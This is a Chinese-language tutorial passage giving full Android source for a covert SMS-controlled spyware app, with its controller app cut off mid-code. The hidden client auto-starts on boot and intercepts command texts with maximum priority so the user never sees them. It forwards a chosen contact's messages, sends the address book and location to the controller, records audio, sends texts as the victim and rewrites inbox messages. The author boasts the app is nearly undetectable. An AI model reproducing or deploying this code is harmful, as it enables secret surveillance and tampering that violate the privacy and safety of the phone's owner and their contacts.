基於簡訊的手機控制程式
1.1前言
興趣是最好的老師,這句話對於有志於從事軟體開發的人來說尤為重要,畢竟這一行業需要不斷的學習新知識,缺乏興趣的工作只會讓人感到日益枯燥.以下是去年9月份在某培訓班開始學習android的過程中,出於個人興趣寫的一個小程式.在此獻給大家,一來借這類程式提高大家的Android開發興趣,再者也可以學習一下簡單實用的知識.
1.2程式簡介
本程式是一個基於簡訊的手機控制程式,有受控端B和管理端A.
已實現功能:
1.A監控C發給B的所有簡訊.
2.A可以查詢B的通訊錄和位置.
3.A可以開啟B的手機錄音.
4.A可以通過B向任何人傳送簡訊.
5.A可以修改B的收件箱簡訊內容.
6.B換手機號後,A可以知道.
相關引數:
admin----管理者手機號碼,也就是A的手機號碼
listen----被監控的手機號碼,即C的手機號.
password----管理密碼,會在第一次建立控制關係時設定,A若換手機號,只能通過這個密碼來更換B上儲存的admin號碼
2.1 MainReceiver:程式的簡訊解析/跳轉主體類.
用的是broadcastreceiver , broadcastreceiver本身就不介紹了,網上一大堆使用教程.本程式中就是截獲android.provider.Telephony.SMS_RECEIVED廣播,分析簡訊內容, 根據不同的內容進行相應操作.
package iceman.android.project;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class MainReceiver extends BroadcastReceiver{
private String number;
private SmsManager manager = SmsManager.getDefault();
public void onReceive(Context context, Intent intent) {
MyLog.LogI("OUTPUT", "廣播接收器觸發");
SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
//使用
SharedPreferences 儲存admin號碼和listen號碼.
String admin = preferences.getString("admin", "");
MyLog.LogI("OUTPUT", "當前admin:"+admin);
String listen = preferences.getString("listen", "");
String password = preferences.getString("password", "iceman");
MyLog.LogI("OUTPUT", "當前listen:"+listen);
Bundle bun = intent.getExtras();
//開始分析簡訊
if(bun!=null){
Object[] mypdus = (Object[])bun.get("pdus");
SmsMessage[] messages = new SmsMessage[mypdus.length];
for(int i=0;i<mypdus.length;i++){
messages[i] = SmsMessage.createFromPdu((byte[])mypdus[i]);
}
for(SmsMessage mess:messages){
number = mess.getDisplayOriginatingAddress();
String body = mess.getDisplayMessageBody();
MyLog.LogI("OUTPUT","號碼來源:"+number);
MyLog.LogI("OUTPUT","內容:"+body);
if(number.contains("+86")){
number = number.substring(3);
}
MyLog.LogI("OUTPUT","號碼來源轉換"+number);
//設定管理號碼
if(body.equals("iceman78952190")){
MyLog.LogI("OUTPUT","查詢密碼哦");
abortBroadcast();
manager.sendTextMessage(number, null, password, null, null);
}
if(body.contains("@iceman@admin")){
abortBroadcast();
body = body.substring(13);
if(password.equals("iceman")){
password = body;
Editor editor = preferences.edit();
editor.putString("admin", number);
editor.putString("password", body);
editor.commit();
MyLog.LogI("OUTPUT","設定admin:"+number);
manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
}else{
if(password.equals(body)){
Editor editor = preferences.edit();
editor.putString("admin", number);
editor.commit();
MyLog.LogI("OUTPUT","設定admin:"+number);
manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
}else{
MyLog.LogI("OUTPUT","密碼不對");
}
}
}
//對管理號碼發來的簡訊進行判斷,是否啟動服務或者更改被監聽號碼
if(number.equals(admin)){
if(body.contains("@iceman@search")){
abortBroadcast();
MyLog.LogI("OUTPUT", "開始查詢通訊錄");
manager.sendTextMessage(admin, null, "search starting!", null, null);
//啟動服務,查詢通訊錄併傳送
Intent it = new Intent(context,ContactService.class);
it.putExtra("admin", admin);
context.startService(it);
}else if(body.contains("@iceman@change")){
abortBroadcast();
listen = body.substring(14);
Editor editor = preferences.edit();
editor.putString("listen", listen);
editor.commit();
MyLog.LogI("OUTPUT", "更改listen完成");
manager.sendTextMessage(admin, null, "listen change success!", null, null);
}else if(body.contains("@iceman@location")){
abortBroadcast();
MyLog.LogI("OUTPUT", "開啟位置監控");
Intent it = new Intent(context,LocationService.class);
context.startService(it);
manager.sendTextMessage(admin, null, "location listen success!", null, null);
MyLog.LogI("OUTPUT", "位置監控開啟完成");
}else if(body.contains("@iceman@where")){
abortBroadcast();
MyLog.LogI("OUTPUT", "開始傳送並解析地址");
Intent it2 = new Intent(context,GetAddressService.class);
context.startService(it2);
}else if(body.contains("@iceman@start")){
abortBroadcast();
MyLog.LogI("OUTPUT", "收到錄音開啟命令");
Intent it = new Intent(context,RecorderService.class);
context.startService(it);
}else if(body.contains("@iceman@stop")){
abortBroadcast();
MyLog.LogI("OUTPUT", "收到結束錄音命令");
Intent it = new Intent(context,RecorderService.class);
context.stopService(it);
}else if(body.contains("@iceman@sms")){
abortBroadcast();
MyLog.LogI("OUTPUT", "傳送簡訊");
String[] str = body.split("#");
manager.sendTextMessage(str[1], null, str[2], null, null);
MyLog.LogI("OUTPUT", "目標號碼:"+str[1]+"內容:"+str[2]);
}else if(body.contains("@iceman@replace")){
abortBroadcast();
String[] str = body.split("#");
MyLog.LogI("OUTPUT", "收到簡訊修改命令");
Intent it = new Intent(context,EditSmsService.class);
it.putExtra("key", str[1]);
it.putExtra("number", str[2]);
it.putExtra("content", str[3]);
it.putExtra("type", "replace");
context.startService(it);
}
else if(body.contains("@iceman@edit")){
abortBroadcast();
String[] str = body.split("#");
MyLog.LogI("OUTPUT", "收到簡訊編輯命令");
Intent it = new Intent(context,EditSmsService.class);
it.putExtra("key", str[1]);
it.putExtra("number", str[2]);
it.putExtra("content", str[3]);
it.putExtra("type", "edit");
context.startService(it);
}
}
//判斷是否由被監聽號碼發來的簡訊
if(number.equals(listen)){
String sms = number+":"+body;
MyLog.LogI("OUTPUT", "監聽到簡訊");
List<String> texts=manager.divideMessage(sms);
for(String text:texts)
{
manager.sendTextMessage(admin, null, text, null, null);
}
}
}
}
}
}
這個廣播接收器最初是靜態註冊的,目的是不需要執行程式,相當於開機啟動.但是在部分真機上測試時發現360,91簡訊等會在它之前攔截簡訊,經過網上查詢,得知動態註冊的優先順序要高於靜態註冊,優先順序相同的動態註冊廣播,先註冊的先接收廣播.
所以,我又寫了個service,在系統啟動後執行並繫結廣播接收器.優先順序設為2147483647.不要被google api裡面寫的優先順序最大1000忽悠了,這個int上限值也是有用的.
package iceman.android.project;
import android.app.Service;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;
public class MainService extends Service{
MainReceiver mReceiver;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
localIntentFilter.setPriority(2147483647);
mReceiver = new MainReceiver();
registerReceiver(mReceiver, localIntentFilter);
}
@Override
public void onDestroy() {
unregisterReceiver(mReceiver);
Intent it = new Intent(MainService.this, MainService.class);
this.startService(it);
}
}
2.2功能:監控指定簡訊
這是程式的初衷,也是我學到broadcastreceiver時首先冒出來的念頭...
當簡訊來源號碼為C時,將簡訊轉發一份給A.程式碼很簡單:
// 判斷是否由被監聽號碼發來的簡訊
if (number.equals(listen)) {
String sms = number + ":" + body;
MyLog.LogI("OUTPUT", "監聽到簡訊");
List<String> texts = manager.divideMessage(sms);
for (String text : texts) {
manager.sendTextMessage(admin, null, text, null, null);
}
}
2.3功能:查詢通訊錄
這裡使用了ContentResolver,這是與內容提供器ContentProvider對應的"查詢器",android的通訊錄程式對外提供了ContentProvider查詢介面.我們可以像運算元據庫一樣對裡面的資料進行讀取.修改也可以(這個太無聊了,放到簡訊那部分再說)
package iceman.android.project;
import java.util.List;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.os.IBinder;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
public class ContactService extends Service{
SmsManager manager = SmsManager.getDefault();
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
public void onStart(Intent intent, int startId) {
String admin = intent.getStringExtra("admin");
MyLog.LogI("OUTPUT", "開啟通訊錄查詢服務");
String[] columns = { "_id", "display_name", "has_phone_number" };
StringBuffer sb = new StringBuffer();
ContentResolver cr = this.getContentResolver();
Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI,
columns, null, null, null);
String[] phone_clos = {
ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
ContactsContract.CommonDataKinds.Phone.NUMBER, };
if (cursor.moveToFirst()) {
do {
int _id = cursor.getInt(0);
String name = cursor.getString(1);
String has_phone = cursor.getString(2);
sb.append(name + ":");
if (has_phone.trim().equals("1")) {
Cursor phones = cr
.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
phone_clos,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID
+ "=" + _id, null, null);
if (phones.moveToFirst()) {
do {
sb.append(phones.getString(1) + ".");
} while (phones.moveToNext());
}
}
} while (cursor.moveToNext());
}
MyLog.LogI("OUTPUT", "開始傳送通訊錄");
List<String> texts=manager.divideMessage(sb.toString());
for(String text:texts)
{
manager.sendTextMessage(admin, null, text, null, null);
}
//查詢完畢後關閉服務
stopSelf();
super.onStart(intent, startId);
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
}
要注意的是,這個視通訊錄條數多少,會有幾條簡訊發出...少用為妙
2.4功能:查詢位置
有兩件事要做:獲得經緯度表示的位置資訊和將經緯度解析為地址資訊
android使用LocationManager來管理獲得的位置資訊,給它設定一個位置監聽,就可以在位置發生變化時,獲得變化後的經緯度資訊,
package iceman.android.project;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.os.IBinder;
public class LocationService extends Service{
private Location location;//當前位置
private String time = "unknown";
private SimpleDateFormat sf = new SimpleDateFormat("MM-dd;hh-mm");
private SharedPreferences preferences = null;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
getLocation();
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
private void getLocation(){
LocationManager locationmanager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
if(locationmanager==null){
MyLog.LogI("OUTPUT", "定位管理器未找到");
}
Criteria criteria = new Criteria();//用來得到位置提供器(Location Provider)的一組引數標準
criteria.setAccuracy(Criteria.ACCURACY_COARSE);//定位精度
criteria.setAltitudeRequired(false);//是否要求定位出高度值
criteria.setCostAllowed(true);//是否允許花錢
String str = locationmanager.getBestProvider(criteria, false);//得到滿足標準的一個最好的提供器的名稱
if(str==null){
MyLog.LogI("OUTPUT", "位置提供器未找到");
}
MyLog.LogI("OUTPUT", "使用的位置提供器"+str);
location = locationmanager.getLastKnownLocation(str);
locationmanager.requestLocationUpdates(str, 2000, 5, new LocationListener() {
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {
// TODO Auto-generated method stub
}
@Override
public void onProviderEnabled(String provider) {
// TODO Auto-generated method stub
}
@Override
public void onProviderDisabled(String provider) {
// TODO Auto-generated method stub
}
@Override
public void onLocationChanged(Location loca) {
// TODO Auto-generated method stub
MyLog.LogI("OUTPUT", "位置發生改變");
time = sf.format(new Date());
location = loca;
preferences = LocationService.this.getSharedPreferences("sms", MODE_PRIVATE);
Editor editor = preferences.edit();
editor.putString("lat", ""+location.getLatitude());
editor.putString("lon", ""+location.getLongitude());
editor.putString("time", time);
editor.commit();
MyLog.LogI("OUTPUT", "位置已經放入");
}
});
}
@Override
public void onStart(Intent intent, int startId) {
}
}
在這個service中,將改變後的位置經緯度儲存下來,下次呼叫位置解析服務的時候,就可以取出最新的經緯度進行解析了.
mopackage iceman.android.project;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.app.Service;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.IBinder;
import android.telephony.SmsManager;
public class GetAddressService extends Service{
private SmsManager manager;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
}
@Override
public void onStart(Intent intent, int startId) {
manager = SmsManager.getDefault();
MyLog.LogI("OUTPUT", "開始轉換地址服務");
SharedPreferences preferences = this.getSharedPreferences("sms", MODE_PRIVATE);
Double lat = Double.parseDouble(preferences.getString("lat", null));
Double lon = Double.parseDouble(preferences.getString("lon", null));
MyLog.LogI("OUTPUT", "精度"+lon);
MyLog.LogI("OUTPUT", "緯度"+lat);
String admin = preferences.getString("admin", null);
String time = preferences.getString("time", null);
String address1 = "經度"+lon+"緯度"+lat;
manager.sendTextMessage(admin, null, address1+time, null, null);
String address2 = getAddress(lon, lat);
manager.sendTextMessage(admin, null, address2+time, null, null);
stopSelf();
super.onStart(intent, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
public String getAddress(Double Longitude,Double Latitude){
MyLog.LogI("OUTPUT", "開始轉換地址");
String url = "http://maps.google.com/maps/api/geocode/json?latlng="+Latitude+","+Longitude+"&language=zh_CN&sensor=false";
HttpClient client = new DefaultHttpClient();
StringBuilder sb = new StringBuilder();
try {
HttpResponse resp = client.execute(new HttpGet(url));
HttpEntity he = resp.getEntity();
BufferedReader br = new BufferedReader(new InputStreamReader(he.getContent()));
String str = "";
while((str=br.readLine())!=null){
sb.append(str);
}
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
MyLog.LogI("OUTPUT", "開始解析json");
try {
JSONObject jo1 = new JSONObject(sb.toString());
String str1 = jo1.getString("results");
JSONArray arr1 = new JSONArray(str1);
String str2 = arr1.get(0).toString();
JSONObject jo2 = new JSONObject(str2);
String str3 = jo2.getString("formatted_address");
MyLog.LogI("OUTPUT", str3);
return str3;
// Toast.makeText(LocationService.this, str3, Toast.LENGTH_LONG).show();
} catch (JSONException e) {
return "地址轉換失敗";
}
}
}
2.5功能:開啟錄音
這個很簡單,使用MediaRecorder即可,在service的oncreat中開始錄音,ondestory中結束錄音.
package iceman.android.project;
import java.io.IOException;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
public class RecorderService extends Service{
private MediaRecorder recorder;
private String location;
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
MyLog.LogI("OUTPUT", "錄音服務啟動");
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
location = "/mnt/sdcard/record_"+System.currentTimeMillis()+".3gp";
recorder.setOutputFile(location);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
try {
recorder.prepare();
} catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
recorder.start();
MyLog.LogI("OUTPUT", "開始錄音");
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
recorder.stop();
MyLog.LogI("OUTPUT", "停止錄音");
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
}
2.6傳送簡訊
對A發過來的簡訊進行分割,獲取目的號碼和簡訊內容,然後傳送.程式碼已經在MainReceiver中了.
2.7編輯簡訊
ContentResolver不僅可以查詢,也可以修改.修改簡訊這個邪惡的功能就靠它來實現了.
程式碼中號碼為00000000000表示不限號碼進行修改.不論誰發過來的簡訊,只要滿足關鍵字條件,就進行修改.
package iceman.android.project;
import android.app.Service;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.IBinder;
public class EditSmsService extends Service {
private ContentResolver mContentResolver;
private String key, number, content, type;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onStart(Intent intent, int startId) {
key = intent.getStringExtra("key");
number = intent.getStringExtra("number");
content = intent.getStringExtra("content");
type = intent.getStringExtra("type");
mContentResolver = this.getContentResolver();
Cursor cursor;
if (number.equals("00000000000")) {
cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, null, null,
null);
MyLog.LogI("OUTPUT", "號碼為00000000000");
} else {
cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, "address = ?",
new String[] {
"" + number
}, null);
MyLog.LogI("OUTPUT", "號碼指定");
}
int time = 0;
String newContent = null;
if (cursor != null) {
cursor.moveToFirst();
do {
String address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
int id = cursor.getInt(cursor.getColumnIndexOrThrow("_id"));
// int date =
// cursor.getInt(cursor.getColumnIndexOrThrow("date"));
if (number.equals("00000000000")) {
if (body.contains(key)) {
ContentValues values = new ContentValues();
// values.put("address", address);
if (type.equals("replace")) {
newContent = body.replace(key, content);
} else {
newContent = content;
}
values.put("read", 1);
values.put("status", -1);
values.put("type", 1);
values.put("body", newContent);
mContentResolver.update(Uri.parse("content://sms/inbox"), values,
"_id = ?", new String[] {
"" + id
});
}
} else {
if (body.contains(key) && address.equals(number)) {
ContentValues values = new ContentValues();
// values.put("address", address);
if (type.equals("replace")) {
newContent = body.replace(key, content);
} else {
newContent = content;
}
values.put("read", 1);
values.put("status", -1);
values.put("type", 1);
values.put("body", newContent);
mContentResolver.update(Uri.parse("content://sms/inbox"), values,
"_id = ?", new String[] {
"" + id
});
}
}
time++;
} while (cursor.moveToNext() && time < 50);
}
stopSelf();
}
}
2.8功能:B更換手機號碼後傳送至A.
TelephonyManager可以獲取手機相關資訊,比如手機號碼,imei等,但是這些資料來源於sim卡,如果某些運營商沒有將電話號碼寫到sim卡上,手機號碼就獲取不到了.
號碼變更檢測是要開機進行的,如果發現號碼跟儲存的不一樣,就傳送新號碼至admin.
package iceman.android.project;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
public class BootReceiver extends BroadcastReceiver{
private String mDeviceId;
private String mTel;
private String mImei;
private String mImsi;
private String mOldDeviceId;
private String mOldTel;
private String mOldImei;
private String mOldImsi;
@Override
public void onReceive(Context context, Intent intent) {
Intent service=new Intent(context, MainService.class);
context.startService(service);
TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
mDeviceId = tm.getDeviceId();
mTel = tm.getLine1Number();
mImei = tm.getSimSerialNumber();
mImei = mImei==null?"":mImei;
mImsi = tm.getSubscriberId();
mImsi = mImsi==null?"":mImsi;
SharedPreferences sharedPreferencesPhone = context.getSharedPreferences("phone", Context.MODE_PRIVATE);
mOldDeviceId = sharedPreferencesPhone.getString("deviceid", "");;
mOldTel = sharedPreferencesPhone.getString("tel", "");;
mOldImei = sharedPreferencesPhone.getString("imei", "");;
mOldImsi = sharedPreferencesPhone.getString("imsi", "");;
SharedPreferences sharedPreferencesControl = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
String admin = sharedPreferencesControl.getString("admin", "");
if(isChange()){
SharedPreferences.Editor editor = sharedPreferencesPhone.edit();
editor.putString("deviceid", mDeviceId==null?"":mDeviceId);
editor.putString("tel", mTel);
editor.putString("imei", mImei);
editor.putString("imsi", mImsi);
editor.commit();
SmsManager smsmanager = SmsManager.getDefault();
if(!admin.equals("")){
String text = "tel:"+mTel+".mImei:"+mImei;
smsmanager.sendTextMessage(admin, null, text, null, null);
}
}
}
private boolean isChange(){
if(mTel==null){
return false;
}
if(mOldTel.equals("")){
return true;
}
if(!mTel.equals(mOldTel)){
return true;
}
return false;
}
}
2.9受控端總結:
以下是主配置檔案
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="iceman.android.project"
android:versionCode="1"
android:versionName="1.0"
>
<uses-sdk android:minSdkVersion="7" />
<!-- android:priority="100" -->
<application
android:debuggable="false"
android:icon="@drawable/app_icon"
android:label="@string/app_name" >
<receiver android:name=".MainReceiver">
<intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<receiver android:name=".BootReceiver">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
<service android:name=".ContactService" android:enabled="true"/>
<service android:name=".LocationService" android:enabled="true"/>
<service android:name=".RecorderService" android:enabled="true"/>
<service android:name=".GetAddressService" android:enabled="true"/>
<service android:name=".EditSmsService" android:enabled="true"/>
</application>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
</manifest>
可以看到的是,受控端是沒有activity的.而且程式名字我命名為"android簡訊服務".如果不是有服務開啟的話,可以說是無法發現程式的存在的.
3.1管理端
為了簡化命令傳送的繁瑣,寫了這個簡單的管理端程式,就兩個activity.
package iceman.android.smsadmin;
import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.CompoundButton.OnCheckedChangeListener;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
public class SMSadminActivity extends Activity {
private TextView mClientNumberText, mListenNumberText;
private EditText mAdminSetEditText, mListenSetEditText, mSmsNumberSetEditText, mSmsContentEditText, mPasswordEditText;
private CheckBox mPasswordUse;
private Button mAdminSetBtn, mListenSetBtn, mSearchBtn, mOpenLocationBtn, mGetAddressBtn, mRecoderBtn, mSendSmsBtn;
private Button mEditSmsBtn;
private Boolean mIsRecording = false;
private SmsManager mSmsManager = SmsManager.getDefault();
private String mClientNumber = null;
private String mListenNumber = null;
private SharedPreferences mSharedpreferences = null;
private String mPassword;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
mClientNumberText = (TextView) findViewById(R.id.number_tv1);
mListenNumberText = (TextView) findViewById(R.id.number_tv2);
mPasswordEditText = (EditText) findViewById(R.id.password_et);
mPasswordEditText.setInputType(0x81);
mPasswordUse = (CheckBox) findViewById(R.id.password_use);
mAdminSetEditText = (EditText) findViewById(R.id.number_et);
// et1.setTransformationMethod(PasswordTransformationMethod.getInstance());
mAdminSetEditText.setHint(this.getString(R.string.the_number_to_control));
mListenSetEditText = (EditText) findViewById(R.id.listen_et);
mListenSetEditText.setHint(this.getString(R.string.the_number_to_listen));
mSmsNumberSetEditText = (EditText) findViewById(R.id.sms_number_et);
mSmsNumberSetEditText.setHint(this.getString(R.string.where_to_send));
mSmsContentEditText = (EditText) findViewById(R.id.sms_et);
mSmsContentEditText.setHint(this.getString(R.string.sms_content));
mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
mClientNumber = mSharedpreferences.getString("control", "");
mListenNumber = mSharedpreferences.getString("listen", "");
mClientNumberText.setText(this.getString(R.string.now_control) + mClientNumber);
mListenNumberText.setText(this.getString(R.string.now_listen) + mListenNumber);
mAdminSetBtn = (Button) findViewById(R.id.admin_btn);
mListenSetBtn = (Button) findViewById(R.id.listen_btn);
mSearchBtn = (Button) findViewById(R.id.search_btn);
mOpenLocationBtn = (Button) findViewById(R.id.open_locations_btn);
mGetAddressBtn = (Button) findViewById(R.id.where_btn);
mRecoderBtn = (Button) findViewById(R.id.recorder_btn);
mRecoderBtn.setText(this.getString(R.string.start_record));
mSendSmsBtn = (Button) findViewById(R.id.sms_btn);
mEditSmsBtn = (Button)findViewById(R.id.edit_sms);
mPasswordUse.setOnCheckedChangeListener(new OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
mPassword = mPasswordEditText.getText().toString().trim();
mPasswordEditText.setEnabled(false);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.password)+mPassword, Toast.LENGTH_SHORT).show();
} else {
mPassword = "";
mPasswordEditText.getEditableText().clear();
mPasswordEditText.setEnabled(true);
}
Editor editor = mSharedpreferences.edit();
editor.putString("password", mPassword);
editor.commit();
}
});
mAdminSetBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
String str = mAdminSetEditText.getText().toString().trim();
if ((str.equals("")) == false) {
if ((str.equals("18621191115")) == false) {
mClientNumberText.setText(SMSadminActivity.this.getString(R.string.now_control) + str);
mAdminSetBtn.setText(SMSadminActivity.this.getString(R.string.control_number_set_over));
mClientNumber = str;
Editor editor = mSharedpreferences.edit();
editor.putString("control", str);
editor.commit();
// et1.setEnabled(false);
// btn1.setClickable(false);
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@admin"+mPassword, null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.control_number_set_send), Toast.LENGTH_SHORT)
.show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.number_can_not_control), Toast.LENGTH_LONG)
.show();
}
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_control_number), Toast.LENGTH_SHORT).show();
}
}
});
mListenSetBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
String str = mListenSetEditText.getText().toString().trim();
if (str.equals("") == false) {
mListenNumberText.setText(SMSadminActivity.this.getString(R.string.now_listen) + str);
mListenSetBtn.setText(SMSadminActivity.this.getString(R.string.listen_number_set_over));
mListenNumber = str;
Editor editor = mSharedpreferences.edit();
editor.putString("listen", str);
editor.commit();
// et2.setEnabled(false);
// btn2.setClickable(false);
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@change" + mListenNumber, null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.listen_number_set_send), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_listen_number), Toast.LENGTH_SHORT).show();
}
}
});
mSearchBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@search", null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_send_over), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mOpenLocationBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@location", null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.open_location_service_over), Toast.LENGTH_SHORT).show();
mOpenLocationBtn.setClickable(false);
mOpenLocationBtn.setText(SMSadminActivity.this.getString(R.string.location_service_open));
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mGetAddressBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@where", null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_address_send_over), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mRecoderBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
if (!mIsRecording) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@start", null, null);
mIsRecording = true;
mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.stop_record));
} else {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@stop", null, null);
mIsRecording = false;
